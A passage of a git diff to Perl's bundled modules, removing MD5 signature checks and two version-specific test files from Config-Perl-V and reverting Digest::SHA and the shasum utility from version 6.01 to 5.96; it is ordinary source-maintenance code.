($sig, $md5, "MD5"); - is_deeply ($conf->{build}{patches}, [], "No local patches"); my %check = ( diff --git a/cpan/Config-Perl-V/t/28_plv52201w.t b/cpan/Config-Perl-V/t/28_plv52201w.t index 1ec81a45e198..1043dfa0cee0 100644 --- a/cpan/Config-Perl-V/t/28_plv52201w.t +++ b/cpan/Config-Perl-V/t/28_plv52201w.t @@ -5,7 +5,7 @@ use warnings; BEGIN { use Test::More; - my $tests = 119; + my $tests = 117; unless ($ENV{PERL_CORE}) { require Test::NoWarnings; Test::NoWarnings->import (); @@ -43,11 +43,6 @@ foreach my $o (sort keys %$opt) { is ($conf->{build}{options}{$o}, 0, "Runtime option $o unset"); } -eval { require Digest::MD5; }; -my $md5 = $@ ? "0" x 32 : "dfb32b8299b66e8bdb2712934f700d94"; -ok (my $sig = Config::Perl::V::signature ($conf), "Get signature"); -is ($sig, $md5, "MD5"); - is_deeply ($conf->{build}{patches}, [], "No local patches"); my %check = ( diff --git a/cpan/Config-Perl-V/t/29_plv5235w.t b/cpan/Config-Perl-V/t/29_plv5235w.t index 26d32819076c..2c23e42362c4 100644 --- a/cpan/Config-Perl-V/t/29_plv5235w.t +++ b/cpan/Config-Perl-V/t/29_plv5235w.t @@ -5,7 +5,7 @@ use warnings; BEGIN { use Test::More; - my $tests = 119; + my $tests = 117; unless ($ENV{PERL_CORE}) { require Test::NoWarnings; Test::NoWarnings->import (); @@ -43,11 +43,6 @@ foreach my $o (sort keys %$opt) { is ($conf->{build}{options}{$o}, 0, "Runtime option $o unset"); } -eval { require Digest::MD5; }; -my $md5 = $@ ? "0" x 32 : "bccd5d78dfebd48b89faf7f1fe711733"; -ok (my $sig = Config::Perl::V::signature ($conf), "Get signature"); -is ($sig, $md5, "MD5"); - is_deeply ($conf->{build}{patches}, [], "No local patches"); my %check = ( diff --git a/cpan/Config-Perl-V/t/30_plv5240.t b/cpan/Config-Perl-V/t/30_plv5240.t index 6b717d69e770..b43b46f518a1 100644 --- a/cpan/Config-Perl-V/t/30_plv5240.t +++ b/cpan/Config-Perl-V/t/30_plv5240.t @@ -5,7 +5,7 @@ use warnings; BEGIN { use Test::More; - my $tests = 127; + my $tests = 125; unless ($ENV{PERL_CORE}) { require Test::NoWarnings; Test::NoWarnings->import (); @@ -41,11 +41,6 @@ foreach my $o (sort keys %$opt) { is ($conf->{build}{options}{$o}, 0, "Runtime option $o unset"); } -eval { require Digest::MD5; }; -my $md5 = $@ ? "0" x 32 : "3dffae79f6d2c74073f0d64646709101"; -ok (my $sig = Config::Perl::V::signature ($conf), "Get signature"); -is ($sig, $md5, "MD5"); - is_deeply ($conf->{build}{patches}, [], "No local patches"); my %check = ( diff --git a/cpan/Config-Perl-V/t/31_plv52511.t b/cpan/Config-Perl-V/t/31_plv52511.t index 762a63d2e87a..b3c09cd52239 100644 --- a/cpan/Config-Perl-V/t/31_plv52511.t +++ b/cpan/Config-Perl-V/t/31_plv52511.t @@ -5,7 +5,7 @@ use warnings; BEGIN { use Test::More; - my $tests = 127; + my $tests = 125; unless ($ENV{PERL_CORE}) { require Test::NoWarnings; Test::NoWarnings->import (); @@ -41,11 +41,6 @@ foreach my $o (sort keys %$opt) { is ($conf->{build}{options}{$o}, 0, "Runtime option $o unset"); } -eval { require Digest::MD5; }; -my $md5 = $@ ? "0" x 32 : "f0e463400e40ca35b67cec3834b5b9b7"; -ok (my $sig = Config::Perl::V::signature ($conf), "Get signature"); -is ($sig, $md5, "MD5"); - is_deeply ($conf->{build}{patches}, [ "SMOKEaa9ac6cf00899a6f55881d4ca6c1214215dc83ee" ], "Local patches"); diff --git a/cpan/Config-Perl-V/t/32_plv5261rc1.t b/cpan/Config-Perl-V/t/32_plv5261rc1.t deleted file mode 100644 index 9250016b7afc..000000000000 --- a/cpan/Config-Perl-V/t/32_plv5261rc1.t +++ /dev/null @@ -1,183 +0,0 @@ -#!/pro/bin/perl - -use strict; -use warnings; - -BEGIN { - use Test::More; - my $tests = 127; - unless ($ENV{PERL_CORE}) { - require Test::NoWarnings; - Test::NoWarnings->import (); - $tests++; - } - - plan tests => $tests; - } - -use Config::Perl::V qw( summary ); - -ok (my $conf = Config::Perl::V::plv2hash (), "Read perl -v block"); -ok (exists $conf->{$_}, "Has $_ entry") for qw( build environment config inc ); - -is ($conf->{build}{osname}, $conf->{config}{osname}, "osname"); -is ($conf->{build}{stamp}, "Sep 19 2017 11:20:22", "Build time"); -is ($conf->{config}{version}, "5.26.1", "reconstructed \$Config{version}"); - -my $opt = Config::Perl::V::plv2hash ("")->{build}{options}; -foreach my $o (sort qw( - DEBUGGING HAS_TIMES MULTIPLICITY PERLIO_LAYERS PERL_COPY_ON_WRITE - PERL_DONT_CREATE_GVSV PERL_OP_PARENT - PERL_TRACK_MEMPOOL PERL_IMPLICIT_CONTEXT PERL_MALLOC_WRAP - PERL_PRESERVE_IVUV USE_64_BIT_ALL USE_64_BIT_INT USE_ITHREADS - USE_LARGE_FILES USE_LOCALE USE_LOCALE_COLLATE - USE_LOCALE_CTYPE USE_LOCALE_NUMERIC USE_LOCALE_TIME - USE_LONG_DOUBLE USE_PERLIO USE_PERL_ATOF USE_REENTRANT_API - )) { - is ($conf->{build}{options}{$o}, 1, "Runtime option $o set"); - delete $opt->{$o}; - } -foreach my $o (sort keys %$opt) { - is ($conf->{build}{options}{$o}, 0, "Runtime option $o unset"); - } - -eval { require Digest::MD5; }; -my $md5 = $@ ? "0" x 32 : "dd710670fec7d2e260414648dcc94e89"; -ok (my $sig = Config::Perl::V::signature ($conf), "Get signature"); -is ($sig, $md5, "MD5"); - -is_deeply ($conf->{build}{patches}, [ "RC1" ], "No local patches"); - -my %check = ( - alignbytes => 16, - api_version => 26, - bincompat5005 => "undef", - byteorder => 12345678, - cc => "ccache cc", - cccdlflags => "-fPIC", - ccdlflags => "-Wl,-E", - config_args => "-Duse64bitall -Duselongdouble -Dusethreads -Duseithreads -Uversiononly -Dinc_version_list=none -des", - gccversion => "4.8.3 20140627 [gcc-4_8-branch revision 212064]", - gnulibc_version => "2.19", - ivsize => 8, - ivtype => "long", - ld => "ccache cc", - lddlflags => "-shared -O2 -L/pro/local/lib -fstack-protector", - ldflags => "-L/pro/local/lib -fstack-protector", - libc => "libc-2.19.so", - lseektype => "off_t", - osvers => "3.16.7-32-desktop", - use64bitall => "define", - use64bitint => "define", - usemymalloc => "n", - default_inc_excludes_dot - => "define", - ); -is ($conf->{config}{$_}, $check{$_}, "reconstructed \$Config{$_}") for sort keys %check; - -ok (my $info = summary ($conf), "A summary"); -ok (exists $info->{$_}, "Summary has $_") for qw( cc config_args usemymalloc default_inc_excludes_dot ); -is ($info->{default_inc_excludes_dot}, "define", "This build has . in INC"); - -__END__ -Summary of my perl5 (revision 5 version 26 subversion 1) configuration: - - Platform: - osname=linux - osvers=3.16.7-32-desktop - archname=x86_64-linux-thread-multi-ld - uname='linux sv02 3.16.7-32-desktop #1 smp preempt wed jan 20 14:05:33 utc 2016 (d4df98a) x86_64 x86_64 x86_64 gnulinux ' - config_args='-Duse64bitall -Duselongdouble -Dusethreads -Duseithreads -Uversiononly -Dinc_version_list=none -des' - hint=recommended - useposix=true - d_sigaction=define - useithreads=define - usemultiplicity=define - use64bitint=define - use64bitall=define - uselongdouble=define - usemymalloc=n - default_inc_excludes_dot=define - bincompat5005=undef - Compiler: - cc='ccache cc' - ccflags ='-D_REENTRANT -D_GNU_SOURCE -fPIC -DDEBUGGING -fwrapv -fno-strict-aliasing -pipe -fstack-protector -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 -D_FORTIFY_SOURCE=2' - optimize='-O2' - cppflags='-D_REENTRANT -D_GNU_SOURCE -fPIC -DDEBUGGING -fwrapv -fno-strict-aliasing -pipe -fstack-protector' - ccversion='' - gccversion='4.8.3 20140627 [gcc-4_8-branch revision 212064]' - gccosandvers='' - intsize=4 - longsize=8 - ptrsize=8 - doublesize=8 - byteorder=12345678 - doublekind=3 - d_longlong=define - longlongsize=8 - d_longdbl=define - longdblsize=16 - longdblkind=3 - ivtype='long' - ivsize=8 - nvtype='long double' - nvsize=16 - Off_t='off_t' - lseeksize=8 - alignbytes=16 - prototype=define - Linker and Libraries: - ld='ccache cc' - ldflags ='-L/pro/local/lib -fstack-protector' - libpth=/usr/local/lib /usr/lib64/gcc/x86_64-suse-linux/4.8/include-fixed /usr/lib64/gcc/x86_64-suse-linux/4.8/../../../../x86_64-suse-linux/lib /usr/lib /pro/local/lib /lib/../lib64 /usr/lib/../lib64 /lib /lib64 /usr/lib64 /usr/local/lib64 - libs=-lpthread -lnsl -ldb -ldl -lm -lcrypt -lutil -lc - perllibs=-lpthread -lnsl -ldl -lm -lcrypt -lutil -lc - libc=libc-2.19.so - so=so - useshrplib=false - libperl=libperl.a - gnulibc_version='2.19' - Dynamic Linking: - dlsrc=dl_dlopen.xs - dlext=so - d_dlsymun=undef - ccdlflags='-Wl,-E' - cccdlflags='-fPIC' - lddlflags='-shared -O2 -L/pro/local/lib -fstack-protector' - - -Characteristics of this binary (from libperl): - Compile-time options: - DEBUGGING - HAS_TIMES - MULTIPLICITY - PERLIO_LAYERS - PERL_COPY_ON_WRITE - PERL_DONT_CREATE_GVSV - PERL_IMPLICIT_CONTEXT - PERL_MALLOC_WRAP - PERL_OP_PARENT - PERL_PRESERVE_IVUV - PERL_TRACK_MEMPOOL - USE_64_BIT_ALL - USE_64_BIT_INT - USE_ITHREADS - USE_LARGE_FILES - USE_LOCALE - USE_LOCALE_COLLATE - USE_LOCALE_CTYPE - USE_LOCALE_NUMERIC - USE_LOCALE_TIME - USE_LONG_DOUBLE - USE_PERLIO - USE_PERL_ATOF - USE_REENTRANT_API - Locally applied patches: - RC1 - Built under linux - Compiled at Sep 19 2017 11:20:22 - @INC: - /pro/lib/perl5/site_perl/5.26.1/x86_64-linux-thread-multi-ld - /pro/lib/perl5/site_perl/5.26.1 - /pro/lib/perl5/5.26.1/x86_64-linux-thread-multi-ld - /pro/lib/perl5/5.26.1 diff --git a/cpan/Config-Perl-V/t/33_plv52711r.t b/cpan/Config-Perl-V/t/33_plv52711r.t deleted file mode 100644 index 851c224bde48..000000000000 --- a/cpan/Config-Perl-V/t/33_plv52711r.t +++ /dev/null @@ -1,183 +0,0 @@ -#!/pro/bin/perl - -use strict; -use warnings; - -BEGIN { - use Test::More; - my $tests = 127; - unless ($ENV{PERL_CORE}) { - require Test::NoWarnings; - Test::NoWarnings->import (); - $tests++; - } - - plan tests => $tests; - } - -use Config::Perl::V qw( summary ); - -ok (my $conf = Config::Perl::V::plv2hash (), "Read perl -v block"); -ok (exists $conf->{$_}, "Has $_ entry") for qw( build environment config inc ); - -is ($conf->{build}{osname}, $conf->{config}{osname}, "osname"); -is ($conf->{build}{stamp}, "Apr 12 2018 13:37:01", "Build time"); -is ($conf->{config}{version}, "5.27.11", "reconstructed \$Config{version}"); - -my $opt = Config::Perl::V::plv2hash ("")->{build}{options}; -foreach my $o (sort qw( - DEBUGGING HAS_TIMES MULTIPLICITY PERLIO_LAYERS PERL_COPY_ON_WRITE - PERL_DONT_CREATE_GVSV PERL_TRACK_MEMPOOL PERL_IMPLICIT_CONTEXT - PERL_MALLOC_WRAP PERL_OP_PARENT PERL_PRESERVE_IVUV PERL_USE_DEVEL - USE_64_BIT_ALL - USE_64_BIT_INT USE_ITHREADS USE_LARGE_FILES USE_LOCALE USE_LOCALE_COLLATE - USE_LOCALE_CTYPE USE_LOCALE_NUMERIC USE_LOCALE_TIME - USE_LONG_DOUBLE USE_PERLIO USE_PERL_ATOF USE_REENTRANT_API - )) { - is ($conf->{build}{options}{$o}, 1, "Runtime option $o set"); - delete $opt->{$o}; - } -foreach my $o (sort keys %$opt) { - is ($conf->{build}{options}{$o}, 0, "Runtime option $o unset"); - } - -eval { require Digest::MD5; }; -my $md5 = $@ ? "0" x 32 : "bd9cf7a142ddbb434adea5b08eaefdc8"; -ok (my $sig = Config::Perl::V::signature ($conf), "Get signature"); -is ($sig, $md5, "MD5"); - -is_deeply ($conf->{build}{patches}, [], "Local patches"); - -my %check = ( - alignbytes => 16, - api_version => 27, - bincompat5005 => "undef", - byteorder => 12345678, - cc => "cc", - cccdlflags => "-fPIC", - ccdlflags => "-Wl,-E", - config_args => "-Dusedevel -Duse64bitall -Dusethreads -Duseithreads -Duselongdouble -des", - gccversion => "7.3.1 20180307 [gcc-7-branch revision 258314]", - gnulibc_version => "2.27", - ivsize => 8, - ivtype => "long", - ld => "cc", - lddlflags => "-shared -O2 -L/pro/local/lib -fstack-protector-strong", - ldflags => "-L/pro/local/lib -fstack-protector-strong", - libc => "libc-2.27.so", - lseektype => "off_t", - osvers => "4.16.0-1-default", - use64bitall => "define", - use64bitint => "define", - usemymalloc => "n", - default_inc_excludes_dot - => "define", - ); -is ($conf->{config}{$_}, $check{$_}, "reconstructed \$Config{$_}") for sort keys %check; - -ok (my $info = summary ($conf), "A summary"); -ok (exists $info->{$_}, "Summary has $_") for qw( cc config_args usemymalloc default_inc_excludes_dot ); -is ($info->{default_inc_excludes_dot}, "define", "This build does not have . in INC"); - -__END__ -Summary of my perl5 (revision 5 version 27 subversion 11) configuration: - Snapshot of: 5f6af817add6d2df3603e0e94b6eb27ba5fb3970 - Platform: - osname=linux - osvers=4.16.0-1-default - archname=x86_64-linux-thread-multi-ld - uname='linux lx09 4.16.0-1-default #1 smp preempt wed apr 4 13:35:56 utc 2018 (e16f96d) x86_64 x86_64 x86_64 gnulinux ' - config_args='-Dusedevel -Duse64bitall -Dusethreads -Duseithreads -Duselongdouble -des' - hint=recommended - useposix=true - d_sigaction=define - useithreads=define - usemultiplicity=define - use64bitint=define - use64bitall=define - uselongdouble=define - usemymalloc=n - default_inc_excludes_dot=define - bincompat5005=undef - Compiler: - cc='cc' - ccflags ='-D_REENTRANT -D_GNU_SOURCE -fPIC -DDEBUGGING -fwrapv -fno-strict-aliasing -pipe -fstack-protector-strong -I/pro/local/include -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 -D_FORTIFY_SOURCE=2' - optimize='-O2' - cppflags='-D_REENTRANT -D_GNU_SOURCE -fPIC -DDEBUGGING -fwrapv -fno-strict-aliasing -pipe -fstack-protector-strong -I/pro/local/include' - ccversion='' - gccversion='7.3.1 20180307 [gcc-7-branch revision 258314]' - gccosandvers='' - intsize=4 - longsize=8 - ptrsize=8 - doublesize=8 - byteorder=12345678 - doublekind=3 - d_longlong=define - longlongsize=8 - d_longdbl=define - longdblsize=16 - longdblkind=3 - ivtype='long' - ivsize=8 - nvtype='long double' - nvsize=16 - Off_t='off_t' - lseeksize=8 - alignbytes=16 - prototype=define - Linker and Libraries: - ld='cc' - ldflags ='-L/pro/local/lib -fstack-protector-strong' - libpth=/usr/local/lib /usr/lib64/gcc/x86_64-suse-linux/7/include-fixed /usr/lib64/gcc/x86_64-suse-linux/7/../../../../x86_64-suse-linux/lib /usr/lib /pro/local/lib /lib/../lib64 /usr/lib/../lib64 /lib /lib64 /usr/lib64 /usr/local/lib64 - libs=-lpthread -lnsl -lgdbm -ldb -ldl -lm -lcrypt -lutil -lc -lgdbm_compat - perllibs=-lpthread -lnsl -ldl -lm -lcrypt -lutil -lc - libc=libc-2.27.so - so=so - useshrplib=false - libperl=libperl.a - gnulibc_version='2.27' - Dynamic Linking: - dlsrc=dl_dlopen.xs - dlext=so - d_dlsymun=undef - ccdlflags='-Wl,-E' - cccdlflags='-fPIC' - lddlflags='-shared -O2 -L/pro/local/lib -fstack-protector-strong' - - -Characteristics of this binary (from libperl): - Compile-time options: - DEBUGGING - HAS_TIMES - MULTIPLICITY - PERLIO_LAYERS - PERL_COPY_ON_WRITE - PERL_DONT_CREATE_GVSV - PERL_IMPLICIT_CONTEXT - PERL_MALLOC_WRAP - PERL_OP_PARENT - PERL_PRESERVE_IVUV - PERL_TRACK_MEMPOOL - PERL_USE_DEVEL - USE_64_BIT_ALL - USE_64_BIT_INT - USE_ITHREADS - USE_LARGE_FILES - USE_LOCALE - USE_LOCALE_COLLATE - USE_LOCALE_CTYPE - USE_LOCALE_NUMERIC - USE_LOCALE_TIME - USE_LONG_DOUBLE - USE_PERLIO - USE_PERL_ATOF - USE_REENTRANT_API - Built under linux - Compiled at Apr 12 2018 13:37:01 - @INC: - lib - /pro/lib/perl5/site_perl/5.27.11/x86_64-linux-thread-multi-ld - /pro/lib/perl5/site_perl/5.27.11 - /pro/lib/perl5/5.27.11/x86_64-linux-thread-multi-ld - /pro/lib/perl5/5.27.11 diff --git a/cpan/Digest-SHA/SHA.xs b/cpan/Digest-SHA/SHA.xs index 62eaad8d53a0..0a0c89d4e361 100644 --- a/cpan/Digest-SHA/SHA.xs +++ b/cpan/Digest-SHA/SHA.xs @@ -401,6 +401,6 @@ PPCODE: } if (cr) { in[0] = '\012'; - shawrite(in, 1UL << 3, state); + shawrite(in, 1 << 3, state); } XSRETURN(1); diff --git a/cpan/Digest-SHA/lib/Digest/SHA.pm b/cpan/Digest-SHA/lib/Digest/SHA.pm index 2e86d4eea16e..e2c58f66e19c 100644 --- a/cpan/Digest-SHA/lib/Digest/SHA.pm +++ b/cpan/Digest-SHA/lib/Digest/SHA.pm @@ -4,16 +4,16 @@ require 5.003000; use strict; use warnings; -use vars qw($VERSION @ISA @EXPORT_OK $errmsg); +use vars qw($VERSION @ISA @EXPORT_OK); use Fcntl qw(O_RDONLY); use integer; -$VERSION = '6.01'; +$VERSION = '5.96'; require Exporter; -@ISA = qw(Exporter); +require DynaLoader; +@ISA = qw(Exporter DynaLoader); @EXPORT_OK = qw( - $errmsg hmac_sha1 hmac_sha1_base64 hmac_sha1_hex hmac_sha224 hmac_sha224_base64 hmac_sha224_hex hmac_sha256 hmac_sha256_base64 hmac_sha256_hex @@ -68,7 +68,6 @@ sub add_bits { sub _bail { my $msg = shift; - $errmsg = $!; $msg .= ": $!"; require Carp; Carp::croak($msg); @@ -111,8 +110,8 @@ sub addfile { return(_addfile($self, $file)) unless ref(\$file) eq 'SCALAR'; $mode = defined($mode) ? $mode : ""; - my ($binary, $UNIVERSAL, $BITS) = - map { $_ eq $mode } ("b", "U", "0"); + my ($binary, $UNIVERSAL, $BITS, $portable) = + map { $_ eq $mode } ("b", "U", "0", "p"); ## Always interpret "-" to mean STDIN; otherwise use ## sysopen to handle full range of POSIX file names @@ -125,7 +124,7 @@ sub addfile { if ($BITS) { my ($n, $buf) = (0, ""); while (($n = read(FH, $buf, 4096))) { - $buf =~ tr/01//cd; + $buf =~ s/[^01]//g; $self->add_bits($buf); } _bail("Read failed") unless defined $n; @@ -133,10 +132,17 @@ sub addfile { return($self); } - binmode(FH) if $binary || $UNIVERSAL; + binmode(FH) if $binary || $portable || $UNIVERSAL; if ($UNIVERSAL && _istext(*FH, $file)) { $self->_addfileuniv(*FH); } + elsif ($portable && _istext(*FH, $file)) { + while () { + s/\015?\015\012/\012/g; + s/\015/\012/g; + $self->add($_); + } + } else { $self->_addfilebin(*FH) } close(FH); @@ -237,15 +243,7 @@ sub load { $class->putstate($str); } -eval { - require XSLoader; - XSLoader::load('Digest::SHA', $VERSION); - 1; -} or do { - require DynaLoader; - push @ISA, 'DynaLoader'; - Digest::SHA->bootstrap($VERSION); -}; +Digest::SHA->bootstrap($VERSION); 1; __END__ @@ -619,6 +617,8 @@ argument to one of the following values: "0" use BITS mode + "p" use portable mode (to be deprecated) + The "U" mode is modeled on Python's "Universal Newlines" concept, whereby DOS and Mac OS line terminators are converted internally to UNIX newlines before processing. This ensures consistent digest values when working @@ -626,6 +626,12 @@ simultaneously across multiple file systems. B, namely those passing Perl's I<-T> test; binary files are processed with no translation whatsoever. +The "p" mode differs from "U" only in that it treats "\r\r\n" as a single +newline, a quirky feature designed to accommodate legacy applications that +occasionally added an extra carriage return before DOS line terminators. +The "p" mode will be phased out eventually in favor of the cleaner and +more well-established Universal Newlines concept. + The BITS mode ("0") interprets the contents of I<$filename> as a logical stream of bits, where each ASCII '0' or '1' character represents a 0 or 1 bit, respectively. All other characters are ignored. This provides @@ -784,7 +790,6 @@ The author is particularly grateful to Sean Burke Chris Carey Alexandr Ciornii - Chris David Jim Doble Thomas Drugeon Julius Duque @@ -808,7 +813,7 @@ darkness and moored it in so perfect a calm and in so brilliant a light" =head1 COPYRIGHT AND LICENSE -Copyright (C) 2003-2017 Mark Shelor +Copyright (C) 2003-2016 Mark Shelor This library is free software; you can redistribute it and/or modify it under the same terms as Perl itself. diff --git a/cpan/Digest-SHA/shasum b/cpan/Digest-SHA/shasum index f8bc02098d66..2721117151b1 100644 --- a/cpan/Digest-SHA/shasum +++ b/cpan/Digest-SHA/shasum @@ -2,15 +2,16 @@ ## shasum: filter for computing SHA digests (ref. sha1sum/md5sum) ## - ## Copyright (C) 2003-2017 Mark Shelor, All Rights Reserved + ## Copyright (C) 2003-2016 Mark Shelor, All Rights Reserved ## - ## Version: 6.01 - ## Mon Dec 25 00:08:08 MST 2017 + ## Version: 5.96 + ## Wed Jul 27 20:04:34 MST 2016 ## shasum SYNOPSIS adapted from GNU Coreutils sha1sum. Add ## "-a" option for algorithm selection, - ## "-U" option for Universal Newlines support, and - ## "-0" option for reading bit strings. + ## "-U" option for Universal Newlines support, + ## "-0" option for reading bit strings, and + ## "-p" option for portable digests (to be deprecated). BEGIN { pop @INC if $INC[-1] eq '.' } @@ -18,7 +19,6 @@ use strict; use warnings; use Fcntl; use Getopt::Long; -use Digest::SHA qw($errmsg); my $POD = <<'END_OF_POD'; @@ -35,7 +35,6 @@ shasum - Print or Check SHA Checksums -a, --algorithm 1 (default), 224, 256, 384, 512, 512224, 512256 -b, --binary read in binary mode -c, --check read SHA sums from the FILEs and check them - --tag create a BSD-style checksum -t, --text read in text mode (default) -U, --UNIVERSAL read in Universal Newlines mode produces same digest on Windows/Unix/Mac @@ -43,13 +42,11 @@ shasum - Print or Check SHA Checksums ASCII '0' interpreted as 0-bit, ASCII '1' interpreted as 1-bit, all other characters ignored + -p, --portable read in portable mode (to be deprecated) - The following five options are useful only when verifying checksums: - --ignore-missing don't fail or report status for missing files - -q, --quiet don't print OK for each successfully verified file - -s, --status don't output anything, status code shows success - --strict exit non-zero for improperly formatted checksum lines - -w, --warn warn about improperly formatted checksum lines + The following two options are useful only when verifying checksums: + -s, --status don't output anything, status code shows success + -w, --warn warn about improperly formatted checksum lines -h, --help display this help and exit -v, --version output version information and exit @@ -62,10 +59,8 @@ shasum - Print or Check SHA Checksums The sums are computed as described in FIPS PUB 180-4. When checking, the input should be a former output of this program. The default mode is to print a line with checksum, a character indicating type - (`*' for binary, ` ' for text, `U' for UNIVERSAL, `^' for BITS), - and name for each FILE. The line starts with a `\' character if the - FILE name contains either newlines or backslashes, which are then - replaced by the two-character sequences `\n' and `\\' respectively. + (`*' for binary, ` ' for text, `U' for UNIVERSAL, `^' for BITS, `?' + for portable), and name for each FILE. Report shasum bugs to mshelor@cpan.org @@ -97,17 +92,18 @@ the 7-bit message I<0001100>: =head1 AUTHOR -Copyright (c) 2003-2017 Mark Shelor . +Copyright (c) 2003-2016 Mark Shelor . =head1 SEE ALSO -I is implemented using the Perl module L. +I is implemented using the Perl module L or +L. =cut END_OF_POD -my $VERSION = "6.01"; +my $VERSION = "5.96"; sub usage { my($err, $msg) = @_; @@ -134,21 +130,20 @@ select((select(STDERR), $| = 1)[0]); ## Collect options from command line -my ($alg, $binary, $check, $text, $status, $quiet, $warn, $help); -my ($version, $BITS, $UNIVERSAL, $tag, $strict, $ignore_missing); +my ($alg, $binary, $check, $text, $status, $warn, $help, $version); +my ($portable, $BITS, $reverse, $UNIVERSAL, $versions); eval { Getopt::Long::Configure ("bundling") }; GetOptions( 'b|binary' => \$binary, 'c|check' => \$check, 't|text' => \$text, 'a|algorithm=i' => \$alg, 's|status' => \$status, 'w|warn' => \$warn, - 'q|quiet' => \$quiet, 'h|help' => \$help, 'v|version' => \$version, + 'p|portable' => \$portable, '0|01' => \$BITS, + 'R|REVERSE' => \$reverse, 'U|UNIVERSAL' => \$UNIVERSAL, - 'tag' => \$tag, - 'strict' => \$strict, - 'ignore-missing' => \$ignore_missing, + 'V|VERSIONS' => \$versions, ) or usage(1, ""); @@ -158,34 +153,39 @@ usage(0) if $help; usage(1, "shasum: Ambiguous file mode\n") if scalar(grep {defined $_} - ($binary, $text, $BITS, $UNIVERSAL)) > 1; + ($binary, $portable, $text, $BITS, $UNIVERSAL)) > 1; usage(1, "shasum: --warn option used only when verifying checksums\n") if $warn && !$check; usage(1, "shasum: --status option used only when verifying checksums\n") if $status && !$check; -usage(1, "shasum: --quiet option used only when verifying checksums\n") - if $quiet && !$check; -usage(1, "shasum: --ignore-missing option used only when verifying checksums\n") - if $ignore_missing && !$check; -usage(1, "shasum: --strict option used only when verifying checksums\n") - if $strict && !$check; -usage(1, "shasum: --tag does not support --text mode\n") - if $tag && $text; -usage(1, "shasum: --tag does not support Universal Newlines mode\n") - if $tag && $UNIVERSAL; -usage(1, "shasum: --tag does not support BITS mode\n") - if $tag && $BITS; + + + ## Try to use Digest::SHA. If not installed, use the slower + ## but functionally equivalent Digest::SHA::PurePerl instead. + + ## If option -R is invoked, reverse the module preference, + ## i.e. try Digest::SHA::PurePerl first, then Digest::SHA. + +my @MODS = qw(Digest::SHA Digest::SHA::PurePerl); +@MODS[0, 1] = @MODS[1, 0] if $reverse; + +my $module; +for (@MODS) { + my $mod = $_; + if (eval "require $mod") { + $module = $mod; + last; + } +} +die "shasum: Unable to find " . join(" or ", @MODS) . "\n" + unless defined $module; ## Default to SHA-1 unless overridden by command line option -my %isAlg = map { $_ => 1 } (1, 224, 256, 384, 512, 512224, 512256); $alg = 1 unless defined $alg; -usage(1, "shasum: Unrecognized algorithm\n") unless $isAlg{$alg}; - -my %Tag = map { $_ => "SHA$_" } (1, 224, 256, 384, 512); -$Tag{512224} = "SHA512/224"; -$Tag{512256} = "SHA512/256"; +grep { $_ == $alg } (1, 224, 256, 384, 512, 512224, 512256) + or usage(1, "shasum: Unrecognized algorithm\n"); ## Display version information if requested @@ -195,16 +195,24 @@ if ($version) { exit(0); } +if ($versions) { + print "shasum $VERSION\n"; + print "$module ", eval "\$${module}::VERSION", "\n"; + print "perl ", defined $^V ? sprintf("%vd", $^V) : $], "\n"; + exit(0); +} + ## Try to figure out if the OS is DOS-like. If it is, ## default to binary mode when reading files, unless ## explicitly overridden by command line "--text" or - ## "--UNIVERSAL" options. + ## "--UNIVERSAL" or "--portable" options. my $isDOSish = ($^O =~ /^(MSWin\d\d|os2|dos|mint|cygwin)$/); -if ($isDOSish) { $binary = 1 unless $text || $UNIVERSAL } +if ($isDOSish) { $binary = 1 unless $text || $UNIVERSAL || $portable } -my $modesym = $binary ? '*' : ($UNIVERSAL ? 'U' : ($BITS ? '^' : ' ')); +my $modesym = $binary ? '*' : ($UNIVERSAL ? 'U' : + ($BITS ? '^' : ($portable ? '?' : ' '))); ## Read from STDIN (-) if no files listed on command line @@ -217,9 +225,10 @@ my $modesym = $binary ? '*' : ($UNIVERSAL ? 'U' : ($BITS ? '^' : ' ')); sub sumfile { my $file = shift; - my $mode = $binary ? 'b' : ($UNIVERSAL ? 'U' : ($BITS ? '0' : '')); - my $digest = eval { Digest::SHA->new($alg)->addfile($file, $mode) }; - if ($@) { warn "shasum: $file: $errmsg\n"; return } + my $mode = $binary ? 'b' : ($UNIVERSAL ? 'U' : + ($BITS ? '0' : ($portable ? 'p' : ''))); + my $digest = eval { $module->new($alg)->addfile($file, $mode) }; + if ($@) { warn "shasum: $file: $!\n"; return } $digest->hexdigest; } @@ -237,6 +246,7 @@ sub unescape { $_ = shift; s/\\\\/\0/g; s/\\n/\n/g; + return if /\\/; s/\0/\\/g; return $_; } @@ -247,8 +257,8 @@ sub unescape { sub verify { my $checkfile = shift; my ($err, $fmt_errs, $read_errs, $match_errs) = (0, 0, 0, 0); - my ($num_fmt_OK, $num_OK) = (0, 0); - my ($bslash, $sum, $fname, $rsp, $digest, $isOK); + my ($num_lines, $num_files) = (0, 0); + my ($bslash, $sum, $fname, $rsp, $digest); local *FH; $checkfile eq '-' and open(FH, '< -') @@ -256,49 +266,38 @@ sub verify { or sysopen(FH, $checkfile, O_RDONLY) or die "shasum: $checkfile: $!\n"; while () { - next if /^#/; - if (/^[ \t]*\\?SHA/) { - $modesym = '*'; - ($bslash, $alg, $fname, $sum) = - /^[ \t]*(\\?)SHA(\S+) \((.+)\) = ([\da-fA-F]+)/; - $alg =~ tr{/}{}d if defined $alg; - } - else { - ($bslash, $sum, $modesym, $fname) = - /^[ \t]*(\\?)([\da-fA-F]+)[ \t]([ *^U])(.+)/; - $alg = defined $sum ? $len2alg{length($sum)} : undef; - } - if (grep { ! defined $_ } ($alg, $sum, $modesym, $fname) or - ! $isAlg{$alg}) { + next if /^#/; s/\n$//; s/^[ \t]+//; $num_lines++; + $bslash = s/^\\//; + ($sum, $modesym, $fname) = + /^([\da-fA-F]+)[ \t]([ *?^U])([^\0]*)/; + $alg = defined $sum ? $len2alg{length($sum)} : undef; + $fname = unescape($fname) if defined $fname && $bslash; + if (grep { ! defined $_ } ($alg, $sum, $modesym, $fname)) { + $alg = 1 unless defined $alg; warn("shasum: $checkfile: $.: improperly " . - "formatted SHA checksum line\n") if $warn; + "formatted SHA$alg checksum line\n") if $warn; $fmt_errs++; - $err = 1 if $strict; next; } - $num_fmt_OK++; - $fname = unescape($fname) if $bslash; - next if $ignore_missing && ! -e $fname; - $rsp = "$fname: "; - ($binary, $text, $UNIVERSAL, $BITS) = - map { $_ eq $modesym } ('*', ' ', 'U', '^'); - $isOK = 0; + $fname =~ s/\r$// unless -e $fname; + $rsp = "$fname: "; $num_files++; + ($binary, $text, $UNIVERSAL, $BITS, $portable) = + map { 